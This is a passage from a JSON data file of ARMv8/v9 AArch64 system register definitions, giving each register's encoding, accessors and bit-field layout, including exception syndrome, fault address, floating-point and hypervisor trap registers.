"ISS", "msb": 24, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ESR_EL12", "fullname": "Exception Syndrome Register (EL1)", "enc": [3, 5, 5, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISS2", "msb": 36, "lsb": 32}, {"name": "EC", "msb": 31, "lsb": 26}, {"name": "IL", "msb": 25, "lsb": 25}, {"name": "ISS", "msb": 24, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ESR_EL2", "fullname": "Exception Syndrome Register (EL1)", "enc": [3, 4, 5, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISS2", "msb": 36, "lsb": 32}, {"name": "EC", "msb": 31, "lsb": 26}, {"name": "IL", "msb": 25, "lsb": 25}, {"name": "ISS", "msb": 24, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ESR_EL1", "fullname": "Exception Syndrome Register (EL2)", "enc": [3, 0, 5, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISS2", "msb": 36, "lsb": 32}, {"name": "EC", "msb": 31, "lsb": 26}, {"name": "IL", "msb": 25, "lsb": 25}, {"name": "ISS", "msb": 24, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ESR_EL2", "fullname": "Exception Syndrome Register (EL2)", "enc": [3, 4, 5, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISS2", "msb": 36, "lsb": 32}, {"name": "EC", "msb": 31, "lsb": 26}, {"name": "IL", "msb": 25, "lsb": 25}, {"name": "ISS", "msb": 24, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "ESR_EL3", "fullname": "Exception Syndrome Register (EL3)", "enc": [3, 6, 5, 2, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ISS2", "msb": 36, "lsb": 32}, {"name": "EC", "msb": 31, "lsb": 26}, {"name": "IL", "msb": 25, "lsb": 25}, {"name": "ISS", "msb": 24, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "FAR_EL1", "fullname": "Fault Address Register (EL1)", "enc": [3, 0, 6, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "FAR_EL12", "fullname": "Fault Address Register (EL1)", "enc": [3, 5, 6, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "FAR_EL2", "fullname": "Fault Address Register (EL1)", "enc": [3, 4, 6, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "FAR_EL1", "fullname": "Fault Address Register (EL2)", "enc": [3, 0, 6, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "FAR_EL2", "fullname": "Fault Address Register (EL2)", "enc": [3, 4, 6, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "FAR_EL3", "fullname": "Fault Address Register (EL3)", "enc": [3, 6, 6, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "FPCR", "fullname": "Floating-point Control Register", "enc": [3, 3, 4, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "AHP", "msb": 26, "lsb": 26}, {"name": "DN", "msb": 25, "lsb": 25}, {"name": "FZ", "msb": 24, "lsb": 24}, {"name": "RMode", "msb": 23, "lsb": 22}, {"name": "Stride", "msb": 21, "lsb": 20}, {"name": "FZ16", "msb": 19, "lsb": 19}, {"name": "Len", "msb": 18, "lsb": 16}, {"name": "IDE", "msb": 15, "lsb": 15}, {"name": "IXE", "msb": 12, "lsb": 12}, {"name": "UFE", "msb": 11, "lsb": 11}, {"name": "OFE", "msb": 10, "lsb": 10}, {"name": "DZE", "msb": 9, "lsb": 9}, {"name": "IOE", "msb": 8, "lsb": 8}, {"name": "NEP", "msb": 2, "lsb": 2}, {"name": "AH", "msb": 1, "lsb": 1}, {"name": "FIZ", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "FPEXC32_EL2", "fullname": "Floating-Point Exception Control register", "enc": [3, 4, 5, 3, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "EX", "msb": 31, "lsb": 31}, {"name": "EN", "msb": 30, "lsb": 30}, {"name": "DEX", "msb": 29, "lsb": 29}, {"name": "FP2V", "msb": 28, "lsb": 28}, {"name": "VV", "msb": 27, "lsb": 27}, {"name": "TFV", "msb": 26, "lsb": 26}, {"name": "VECITR", "msb": 10, "lsb": 8}, {"name": "IDF", "msb": 7, "lsb": 7}, {"name": "IXF", "msb": 4, "lsb": 4}, {"name": "UFF", "msb": 3, "lsb": 3}, {"name": "OFF", "msb": 2, "lsb": 2}, {"name": "DZF", "msb": 1, "lsb": 1}, {"name": "IOF", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "FPSR", "fullname": "Floating-point Status Register", "enc": [3, 3, 4, 4, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "N", "msb": 31, "lsb": 31}, {"name": "Z", "msb": 30, "lsb": 30}, {"name": "C", "msb": 29, "lsb": 29}, {"name": "V", "msb": 28, "lsb": 28}, {"name": "QC", "msb": 27, "lsb": 27}, {"name": "IDC", "msb": 7, "lsb": 7}, {"name": "IXC", "msb": 4, "lsb": 4}, {"name": "UFC", "msb": 3, "lsb": 3}, {"name": "OFC", "msb": 2, "lsb": 2}, {"name": "DZC", "msb": 1, "lsb": 1}, {"name": "IOC", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "GCR_EL1", "fullname": "Tag Control Register.", "enc": [3, 0, 1, 0, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "RRND", "msb": 16, "lsb": 16}, {"name": "Exclude", "msb": 15, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "GMID_EL1", "fullname": " Multiple tag transfer ID register", "enc": [3, 1, 0, 0, 4], "accessors": ["MRS"], "fieldsets": [{"fields": [{"name": "BS", "msb": 3, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HACR_EL2", "fullname": "Hypervisor Auxiliary Control Register", "enc": [3, 4, 1, 1, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "HAFGRTR_EL2", "fullname": "Hypervisor Activity Monitors Fine-Grained Read Trap Register", "enc": [3, 4, 3, 1, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HAFGRTR_EL2", "fields": [{"name": "AMEVTYPER1_EL0", "msb": 49, "lsb": 49}, {"name": "AMEVTYPER115_EL0", "msb": 49, "lsb": 49}, {"name": "AMEVCNTR1_EL0", "msb": 48, "lsb": 48}, {"name": "AMEVCNTR115_EL0", "msb": 48, "lsb": 48}, {"name": "AMEVTYPER114_EL0", "msb": 47, "lsb": 47}, {"name": "AMEVCNTR114_EL0", "msb": 46, "lsb": 46}, {"name": "AMEVTYPER113_EL0", "msb": 45, "lsb": 45}, {"name": "AMEVCNTR113_EL0", "msb": 44, "lsb": 44}, {"name": "AMEVTYPER112_EL0", "msb": 43, "lsb": 43}, {"name": "AMEVCNTR112_EL0", "msb": 42, "lsb": 42}, {"name": "AMEVTYPER111_EL0", "msb": 41, "lsb": 41}, {"name": "AMEVCNTR111_EL0", "msb": 40, "lsb": 40}, {"name": "AMEVTYPER110_EL0", "msb": 39, "lsb": 39}, {"name": "AMEVCNTR110_EL0", "msb": 38, "lsb": 38}, {"name": "AMEVTYPER19_EL0", "msb": 37, "lsb": 37}, {"name": "AMEVCNTR19_EL0", "msb": 36, "lsb": 36}, {"name": "AMEVTYPER18_EL0", "msb": 35, "lsb": 35}, {"name": "AMEVCNTR18_EL0", "msb": 34, "lsb": 34}, {"name": "AMEVTYPER17_EL0", "msb": 33, "lsb": 33}, {"name": "AMEVCNTR17_EL0", "msb": 32, "lsb": 32}, {"name": "AMEVTYPER16_EL0", "msb": 31, "lsb": 31}, {"name": "AMEVCNTR16_EL0", "msb": 30, "lsb": 30}, {"name": "AMEVTYPER15_EL0", "msb": 29, "lsb": 29}, {"name": "AMEVCNTR15_EL0", "msb": 28, "lsb": 28}, {"name": "AMEVTYPER14_EL0", "msb": 27, "lsb": 27}, {"name": "AMEVCNTR14_EL0", "msb": 26, "lsb": 26}, {"name": "AMEVTYPER13_EL0", "msb": 25, "lsb": 25}, {"name": "AMEVCNTR13_EL0", "msb": 24, "lsb": 24}, {"name": "AMEVTYPER12_EL0", "msb": 23, "lsb": 23}, {"name": "AMEVCNTR12_EL0", "msb": 22, "lsb": 22}, {"name": "AMEVTYPER11_EL0", "msb": 21, "lsb": 21}, {"name": "AMEVCNTR11_EL0", "msb": 20, "lsb": 20}, {"name": "AMEVTYPER10_EL0", "msb": 19, "lsb": 19}, {"name": "AMEVCNTR10_EL0", "msb": 18, "lsb": 18}, {"name": "AMCNTEN", "msb": 17, "lsb": 17}, {"name": "AMCNTEN1", "msb": 17, "lsb": 17}, {"name": "AMEVCNTR0_EL0", "msb": 4, "lsb": 1}, {"name": "AMCNTEN0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HCR_EL2", "fullname": "Hypervisor Configuration Register", "enc": [3, 4, 1, 1, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TWEDEL", "msb": 63, "lsb": 60}, {"name": "TWEDEn", "msb": 59, "lsb": 59}, {"name": "TID5", "msb": 58, "lsb": 58}, {"name": "DCT", "msb": 57, "lsb": 57}, {"name": "ATA", "msb": 56, "lsb": 56}, {"name": "TTLBOS", "msb": 55, "lsb": 55}, {"name": "TTLBIS", "msb": 54, "lsb": 54}, {"name": "EnSCXT", "msb": 53, "lsb": 53}, {"name": "TOCU", "msb": 52, "lsb": 52}, {"name": "AMVOFFEN", "msb": 51, "lsb": 51}, {"name": "TICAB", "msb": 50, "lsb": 50}, {"name": "TID4", "msb": 49, "lsb": 49}, {"name": "FIEN", "msb": 47, "lsb": 47}, {"name": "FWB", "msb": 46, "lsb": 46}, {"name": "NV2", "msb": 45, "lsb": 45}, {"name": "AT", "msb": 44, "lsb": 44}, {"name": "NV1", "msb": 43, "lsb": 43}, {"name": "NV1", "msb": 43, "lsb": 43}, {"name": "NV", "msb": 42, "lsb": 42}, {"name": "NV", "msb": 42, "lsb": 42}, {"name": "API", "msb": 41, "lsb": 41}, {"name": "APK", "msb": 40, "lsb": 40}, {"name": "MIOCNCE", "msb": 38, "lsb": 38}, {"name": "TEA", "msb": 37, "lsb": 37}, {"name": "TERR", "msb": 36, "lsb": 36}, {"name": "TLOR", "msb": 35, "lsb": 35}, {"name": "E2H", "msb": 34, "lsb": 34}, {"name": "ID", "msb": 33, "lsb": 33}, {"name": "CD", "msb": 32, "lsb": 32}, {"name": "RW", "msb": 31, "lsb": 31}, {"name": "TRVM", "msb": 30, "lsb": 30}, {"name": "HCD", "msb": 29, "lsb": 29}, {"name": "TDZ", "msb": 28, "lsb": 28}, {"name": "TGE", "msb": 27, "lsb": 27}, {"name": "TVM", "msb": 26, "lsb": 26}, {"name": "TTLB", "msb": 25, "lsb": 25}, {"name": "TPU", "msb": 24, "lsb": 24}, {"name": "TPCP", "msb": 23, "lsb": 23}, {"name": "TPC", "msb": 23, "lsb": 23}, {"name": "TSW", "msb": 22, "lsb": 22}, {"name": "TACR", "msb": 21, "lsb": 21}, {"name": "TIDCP", "msb": 20, "lsb": 20}, {"name": "TSC", "msb": 19, "lsb": 19}, {"name": "TID3", "msb": 18, "lsb": 18}, {"name": "TID2", "msb": 17, "lsb": 17}, {"name": "TID1", "msb": 16, "lsb": 16}, {"name": "TID0", "msb": 15, "lsb": 15}, {"name": "TWE", "msb": 14, "lsb": 14}, {"name": "TWI", "msb": 13, "lsb": 13}, {"name": "DC", "msb": 12, "lsb": 12}, {"name": "BSU", "msb": 11, "lsb": 10}, {"name": "FB", "msb": 9, "lsb": 9}, {"name": "VSE", "msb": 8, "lsb": 8}, {"name": "VI", "msb": 7, "lsb": 7}, {"name": "VF", "msb": 6, "lsb": 6}, {"name": "AMO", "msb": 5, "lsb": 5}, {"name": "IMO", "msb": 4, "lsb": 4}, {"name": "FMO", "msb": 3, "lsb": 3}, {"name": "PTW", "msb": 2, "lsb": 2}, {"name": "SWIO", "msb": 1, "lsb": 1}, {"name": "VM", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HCRX_EL2", "fullname": "Extended Hypervisor Configuration Register", "enc": [3, 4, 1, 2, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "FGTnXS", "msb": 4, "lsb": 4}, {"name": "FnXS", "msb": 3, "lsb": 3}, {"name": "EnASR", "msb": 2, "lsb": 2}, {"name": "EnALS", "msb": 1, "lsb": 1}, {"name": "EnAS0", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HDFGRTR_EL2", "fullname": "Hypervisor Debug Fine-Grained Read Trap Register", "enc": [3, 4, 3, 1, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HDFGRTR_EL2", "fields": [{"name": "nPMSNEVFR_EL1", "msb": 62, "lsb": 62}, {"name": "PMCEIDn_EL0", "msb": 58, "lsb": 58}, {"name": "PMUSERENR_EL0", "msb": 57, "lsb": 57}, {"name": "TRCVICTLR", "msb": 48, "lsb": 48}, {"name": "TRCSTATR", "msb": 47, "lsb": 47}, {"name": "TRCSSCSRn", "msb": 46, "lsb": 46}, {"name": "TRCSEQSTR", "msb": 45, "lsb": 45}, {"name": "TRCPRGCTLR", "msb": 44, "lsb": 44}, {"name": "TRCOSLSR", "msb": 43, "lsb": 43}, {"name": "TRCIMSPECn", "msb": 41, "lsb": 41}, {"name": "TRCID", "msb": 40, "lsb": 40}, {"name": "TRCCNTVRn", "msb": 37, "lsb": 37}, {"name": "TRCCLAIM", "msb": 36, "lsb": 36}, {"name": "TRCAUXCTLR", "msb": 35, "lsb": 35}, {"name": "TRCAUTHSTATUS", "msb": 34, "lsb": 34}, {"name": "TRC", "msb": 33, "lsb": 33}, {"name": "PMSLATFR_EL1", "msb": 32, "lsb": 32}, {"name": "PMSIRR_EL1", "msb": 31, "lsb": 31}, {"name": "PMSIDR_EL1", "msb": 30, "lsb": 30}, {"name": "PMSICR_EL1", "msb": 29, "lsb": 29}, {"name": "PMSFCR_EL1", "msb": 28, "lsb": 28}, {"name": "PMSEVFR_EL1", "msb": 27, "lsb": 27}, {"name": "PMSCR_EL1", "msb": 26, "lsb": 26}, {"name": "PMBSR_EL1", "msb": 25, "lsb": 25}, {"name": "PMBPTR_EL1", "msb": 24, "lsb": 24}, {"name": "PMBLIMITR_EL1", "msb": 23, "lsb": 23}, {"name": "PMMIR_EL1", "msb": 22, "lsb": 22}, {"name": "PMSELR_EL0", "msb": 19, "lsb": 19}, {"name": "PMOVS", "msb": 18, "lsb": 18}, {"name": "PMINTEN", "msb": 17, "lsb": 17}, {"name": "PMCNTEN", "msb": 16, "lsb": 16}, {"name": "PMCCNTR_EL0", "msb": 15, "lsb": 15}, {"name": "PMCCFILTR_EL0", "msb": 14, "lsb": 14}, {"name": "PMEVTYPERn_EL0", "msb": 13, "lsb": 13}, {"name": "PMEVCNTRn_EL0", "msb": 12, "lsb": 12}, {"name": "OSDLR_EL1", "msb": 11, "lsb": 11}, {"name": "OSECCR_EL1", "msb": 10, "lsb": 10}, {"name": "OSLSR_EL1", "msb": 9, "lsb": 9}, {"name": "DBGPRCR_EL1", "msb": 7, "lsb": 7}, {"name": "DBGAUTHSTATUS_EL1", "msb": 6, "lsb": 6}, {"name": "DBGCLAIM", "msb": 5, "lsb": 5}, {"name": "MDSCR_EL1", "msb": 4, "lsb": 4}, {"name": "DBGWVRn_EL1", "msb": 3, "lsb": 3}, {"name": "DBGWCRn_EL1", "msb": 2, "lsb": 2}, {"name": "DBGBVRn_EL1", "msb": 1, "lsb": 1}, {"name": "DBGBCRn_EL1", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HDFGWTR_EL2", "fullname": "Hypervisor Debug Fine-Grained Write Trap Register", "enc": [3, 4, 3, 1, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HDFGWTR_EL2", "fields": [{"name": "nPMSNEVFR_EL1", "msb": 62, "lsb": 62}, {"name": "PMUSERENR_EL0", "msb": 57, "lsb": 57}, {"name": "TRFCR_EL1", "msb": 49, "lsb": 49}, {"name": "TRCVICTLR", "msb": 48, "lsb": 48}, {"name": "TRCSSCSRn", "msb": 46, "lsb": 46}, {"name": "TRCSEQSTR", "msb": 45, "lsb": 45}, {"name": "TRCPRGCTLR", "msb": 44, "lsb": 44}, {"name": "TRCOSLAR", "msb": 42, "lsb": 42}, {"name": "TRCIMSPECn", "msb": 41, "lsb": 41}, {"name": "TRCCNTVRn", "msb": 37, "lsb": 37}, {"name": "TRCCLAIM", "msb": 36, "lsb": 36}, {"name": "TRCAUXCTLR", "msb": 35, "lsb": 35}, {"name": "TRC", "msb": 33, "lsb": 33}, {"name": "PMSLATFR_EL1", "msb": 32, "lsb": 32}, {"name": "PMSIRR_EL1", "msb": 31, "lsb": 31}, {"name": "PMSICR_EL1", "msb": 29, "lsb": 29}, {"name": "PMSFCR_EL1", "msb": 28, "lsb": 28}, {"name": "PMSEVFR_EL1", "msb": 27, "lsb": 27}, {"name": "PMSCR_EL1", "msb": 26, "lsb": 26}, {"name": "PMBSR_EL1", "msb": 25, "lsb": 25}, {"name": "PMBPTR_EL1", "msb": 24, "lsb": 24}, {"name": "PMBLIMITR_EL1", "msb": 23, "lsb": 23}, {"name": "PMCR_EL0", "msb": 21, "lsb": 21}, {"name": "PMSWINC_EL0", "msb": 20, "lsb": 20}, {"name": "PMSELR_EL0", "msb": 19, "lsb": 19}, {"name": "PMOVS", "msb": 18, "lsb": 18}, {"name": "PMINTEN", "msb": 17, "lsb": 17}, {"name": "PMCNTEN", "msb": 16, "lsb": 16}, {"name": "PMCCNTR_EL0", "msb": 15, "lsb": 15}, {"name": "PMCCFILTR_EL0", "msb": 14, "lsb": 14}, {"name": "PMEVTYPERn_EL0", "msb": 13, "lsb": 13}, {"name": "PMEVCNTRn_EL0", "msb": 12, "lsb": 12}, {"name": "OSDLR_EL1", "msb": 11, "lsb": 11}, {"name": "OSECCR_EL1", "msb": 10, "lsb": 10}, {"name": "OSLAR_EL1", "msb": 8, "lsb": 8}, {"name": "DBGPRCR_EL1", "msb": 7, "lsb": 7}, {"name": "DBGCLAIM", "msb": 5, "lsb": 5}, {"name": "MDSCR_EL1", "msb": 4, "lsb": 4}, {"name": "DBGWVRn_EL1", "msb": 3, "lsb": 3}, {"name": "DBGWCRn_EL1", "msb": 2, "lsb": 2}, {"name": "DBGBVRn_EL1", "msb": 1, "lsb": 1}, {"name": "DBGBCRn_EL1", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HFGITR_EL2", "fullname": "Hypervisor Fine-Grained Instruction Trap Register", "enc": [3, 4, 1, 1, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HFGITR_EL2", "fields": [{"name": "DCCVAC", "msb": 54, "lsb": 54}, {"name": "SVC_EL1", "msb": 53, "lsb": 53}, {"name": "SVC_EL0", "msb": 52, "lsb": 52}, {"name": "ERET", "msb": 51, "lsb": 51}, {"name": "CPPRCTX", "msb": 50, "lsb": 50}, {"name": "DVPRCTX", "msb": 49, "lsb": 49}, {"name": "CFPRCTX", "msb": 48, "lsb": 48}, {"name": "TLBIVAALE1", "msb": 47, "lsb": 47}, {"name": "TLBIVALE1", "msb": 46, "lsb": 46}, {"name": "TLBIVAAE1", "msb": 45, "lsb": 45}, {"name": "TLBIASIDE1", "msb": 44, "lsb": 44}, {"name": "TLBIVAE1", "msb": 43, "lsb": 43}, {"name": "TLBIVMALLE1", "msb": 42, "lsb": 42}, {"name": "TLBIRVAALE1", "msb": 41, "lsb": 41}, {"name": "TLBIRVALE1", "msb": 40, "lsb": 40}, {"name": "TLBIRVAAE1", "msb": 39, "lsb": 39}, {"name": "TLBIRVAE1", "msb": 38, "lsb": 38}, {"name": "TLBIRVAALE1IS", "msb": 37, "lsb": 37}, {"name": "TLBIRVALE1IS", "msb": 36, "lsb": 36}, {"name": "TLBIRVAAE1IS", "msb": 35, "lsb": 35}, {"name": "TLBIRVAE1IS", "msb": 34, "lsb": 34}, {"name": "TLBIVAALE1IS", "msb": 33, "lsb": 33}, {"name": "TLBIVALE1IS", "msb": 32, "lsb": 32}, {"name": "TLBIVAAE1IS", "msb": 31, "lsb": 31}, {"name": "TLBIASIDE1IS", "msb": 30, "lsb": 30}, {"name": "TLBIVAE1IS", "msb": 29, "lsb": 29}, {"name": "TLBIVMALLE1IS", "msb": 28, "lsb": 28}, {"name": "TLBIRVAALE1OS", "msb": 27, "lsb": 27}, {"name": "TLBIRVALE1OS", "msb": 26, "lsb": 26}, {"name": "TLBIRVAAE1OS", "msb": 25, "lsb": 25}, {"name": "TLBIRVAE1OS", "msb": 24, "lsb": 24}, {"name": "TLBIVAALE1OS", "msb": 23, "lsb": 23}, {"name": "TLBIVALE1OS", "msb": 22, "lsb": 22}, {"name": "TLBIVAAE1OS", "msb": 21, "lsb": 21}, {"name": "TLBIASIDE1OS", "msb": 20, "lsb": 20}, {"name": "TLBIVAE1OS", "msb": 19, "lsb": 19}, {"name": "TLBIVMALLE1OS", "msb": 18, "lsb": 18}, {"name": "ATS1E1WP", "msb": 17, "lsb": 17}, {"name": "ATS1E1RP", "msb": 16, "lsb": 16}, {"name": "ATS1E0W", "msb": 15, "lsb": 15}, {"name": "ATS1E0R", "msb": 14, "lsb": 14}, {"name": "ATS1E1W", "msb": 13, "lsb": 13}, {"name": "ATS1E1R", "msb": 12, "lsb": 12}, {"name": "DCZVA", "msb": 11, "lsb": 11}, {"name": "DCCIVAC", "msb": 10, "lsb": 10}, {"name": "DCCVADP", "msb": 9, "lsb": 9}, {"name": "DCCVAP", "msb": 8, "lsb": 8}, {"name": "DCCVAU", "msb": 7, "lsb": 7}, {"name": "DCCISW", "msb": 6, "lsb": 6}, {"name": "DCCSW", "msb": 5, "lsb": 5}, {"name": "DCISW", "msb": 4, "lsb": 4}, {"name": "DCIVAC", "msb": 3, "lsb": 3}, {"name": "ICIVAU", "msb": 2, "lsb": 2}, {"name": "ICIALLU", "msb": 1, "lsb": 1}, {"name": "ICIALLUIS", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HFGRTR_EL2", "fullname": "Hypervisor Fine-Grained Read Trap Register", "enc": [3, 4, 1, 1, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HFGRTR_EL2", "fields": [{"name": "nACCDATA_EL1", "msb": 50, "lsb": 50}, {"name": "ERXADDR_EL1", "msb": 49, "lsb": 49}, {"name": "ERXPFGCDN_EL1", "msb": 48, "lsb": 48}, {"name": "ERXPFGCTL_EL1", "msb": 47, "lsb": 47}, {"name": "ERXPFGF_EL1", "msb": 46, "lsb": 46}, {"name": "ERXMISCn_EL1", "msb": 45, "lsb": 45}, {"name": "ERXSTATUS_EL1", "msb": 44, "lsb": 44}, {"name": "ERXCTLR_EL1", "msb": 43, "lsb": 43}, {"name": "ERXFR_EL1", "msb": 42, "lsb": 42}, {"name": "ERRSELR_EL1", "msb": 41, "lsb": 41}, {"name": "ERRIDR_EL1", "msb": 40, "lsb": 40}, {"name": "ICC_IGRPENn_EL1", "msb": 39, "lsb": 39}, {"name": "VBAR_EL1", "msb": 38, "lsb": 38}, {"name": "TTBR1_EL1", "msb": 37, "lsb": 37}, {"name": "TTBR0_EL1", "msb": 36, "lsb": 36}, {"name": "TPIDR_EL0", "msb": 35, "lsb": 35}, {"name": "TPIDRRO_EL0", "msb": 34, "lsb": 34}, {"name": "TPIDR_EL1", "msb": 33, "lsb": 33}, {"name": "TCR_EL1", "msb": 32, "lsb": 32}, {"name": "SCXTNUM_EL0", "msb": 31, "lsb": 31}, {"name": "SCXTNUM_EL1", "msb": 30, "lsb": 30}, {"name": "SCTLR_EL1", "msb": 29, "lsb": 29}, {"name": "REVIDR_EL1", "msb": 28, "lsb": 28}, {"name": "PAR_EL1", "msb": 27, "lsb": 27}, {"name": "MPIDR_EL1", "msb": 26, "lsb": 26}, {"name": "MIDR_EL1", "msb": 25, "lsb": 25}, {"name": "MAIR_EL1", "msb": 24, "lsb": 24}, {"name": "LORSA_EL1", "msb": 23, "lsb": 23}, {"name": "LORN_EL1", "msb": 22, "lsb": 22}, {"name": "LORID_EL1", "msb": 21, "lsb": 21}, {"name": "LOREA_EL1", "msb": 20, "lsb": 20}, {"name": "LORC_EL1", "msb": 19, "lsb": 19}, {"name": "ISR_EL1", "msb": 18, "lsb": 18}, {"name": "FAR_EL1", "msb": 17, "lsb": 17}, {"name": "ESR_EL1", "msb": 16, "lsb": 16}, {"name": "DCZID_EL0", "msb": 15, "lsb": 15}, {"name": "CTR_EL0", "msb": 14, "lsb": 14}, {"name": "CSSELR_EL1", "msb": 13, "lsb": 13}, {"name": "CPACR_EL1", "msb": 12, "lsb": 12}, {"name": "CONTEXTIDR_EL1", "msb": 11, "lsb": 11}, {"name": "CLIDR_EL1", "msb": 10, "lsb": 10}, {"name": "CCSIDR_EL1", "msb": 9, "lsb": 9}, {"name": "APIBKey", "msb": 8, "lsb": 8}, {"name": "APIAKey", "msb": 7, "lsb": 7}, {"name": "APGAKey", "msb": 6, "lsb": 6}, {"name": "APDBKey", "msb": 5, "lsb": 5}, {"name": "APDAKey", "msb": 4, "lsb": 4}, {"name": "AMAIR_EL1", "msb": 3, "lsb": 3}, {"name": "AIDR_EL1", "msb": 2, "lsb": 2}, {"name": "AFSR1_EL1", "msb": 1, "lsb": 1}, {"name": "AFSR0_EL1", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HFGWTR_EL2", "fullname": "Hypervisor Fine-Grained Write Trap Register", "enc": [3, 4, 1, 1, 5], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "HFGWTR_EL2", "fields": [{"name": "nACCDATA_EL1", "msb": 50, "lsb": 50}, {"name": "ERXADDR_EL1", "msb": 49, "lsb": 49}, {"name": "ERXPFGCDN_EL1", "msb": 48, "lsb": 48}, {"name": "ERXPFGCTL_EL1", "msb": 47, "lsb": 47}, {"name": "ERXMISCn_EL1", "msb": 45, "lsb": 45}, {"name": "ERXSTATUS_EL1", "msb": 44, "lsb": 44}, {"name": "ERXCTLR_EL1", "msb": 43, "lsb": 43}, {"name": "ERRSELR_EL1", "msb": 41, "lsb": 41}, {"name": "ICC_IGRPENn_EL1", "msb": 39, "lsb": 39}, {"name": "VBAR_EL1", "msb": 38, "lsb": 38}, {"name": "TTBR1_EL1", "msb": 37, "lsb": 37}, {"name": "TTBR0_EL1", "msb": 36, "lsb": 36}, {"name": "TPIDR_EL0", "msb": 35, "lsb": 35}, {"name": "TPIDRRO_EL0", "msb": 34, "lsb": 34}, {"name": "TPIDR_EL1", "msb": 33, "lsb": 33}, {"name": "TCR_EL1", "msb": 32, "lsb": 32}, {"name": "SCXTNUM_EL0", "msb": 31, "lsb": 31}, {"name": "SCXTNUM_EL1", "msb": 30, "lsb": 30}, {"name": "SCTLR_EL1", "msb": 29, "lsb": 29}, {"name": "PAR_EL1", "msb": 27, "lsb": 27}, {"name": "MAIR_EL1", "msb": 24, "lsb": 24}, {"name": "LORSA_EL1", "msb": 23, "lsb": 23}, {"name": "LORN_EL1", "msb": 22, "lsb": 22}, {"name": "LOREA_EL1", "msb": 20, "lsb": 20}, {"name": "LORC_EL1", "msb": 19, "lsb": 19}, {"name": "FAR_EL1", "msb": 17, "lsb": 17}, {"name": "ESR_EL1", "msb": 16, "lsb": 16}, {"name": "CSSELR_EL1", "msb": 13, "lsb": 13}, {"name": "CPACR_EL1", "msb": 12, "lsb": 12}, {"name": "CONTEXTIDR_EL1", "msb": 11, "lsb": 11}, {"name": "APIBKey", "msb": 8, "lsb": 8}, {"name": "APIAKey", "msb": 7, "lsb": 7}, {"name": "APGAKey", "msb": 6, "lsb": 6}, {"name": "APDBKey", "msb": 5, "lsb": 5}, {"name": "APDAKey", "msb": 4, "lsb": 4}, {"name": "AMAIR_EL1", "msb": 3, "lsb": 3}, {"name": "AFSR1_EL1", "msb": 1, "lsb": 1}, {"name": "AFSR0_EL1", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "HPFAR_EL2", "fullname": "Hypervisor IPA Fault Address Register", "enc": [3, 4, 6, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "FIPA", "msb": 43, "lsb": 4}]}], "width": 64}, {"index": 0, "name": "HSTR_EL2", "fullname": "Hypervisor System Trap Register", "enc": [3, 4, 1, 1, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "T", "msb": 15, "lsb": 15}, {"name": "T15", "msb": 15, "lsb": 15}, {"name": "T13", "msb": 13, "lsb": 13}, {"name": "T12", "msb": 12, "lsb": 12}, {"name": "T11", "msb": 11, "lsb": 11}, {"name": "T10", "msb": 10, "lsb": 10}, {"name": "T9", "msb": 9, "lsb": 9}, {"name": "T8", "msb": 8, "lsb": 8}, {"name": "T7", "msb": 7, "lsb": 7}, {"name": "T6", "msb": 6, "lsb": 6}, {"name": "T5", "msb": 5, "lsb": 5}, {"name": "T3", "msb": 3, "lsb": 3}, {"name": "T2", "msb": 2, "lsb": 2}, {"name": "T1", "msb": 1, "lsb": 1}, {"name": "T0", "msb": 0, "lsb": 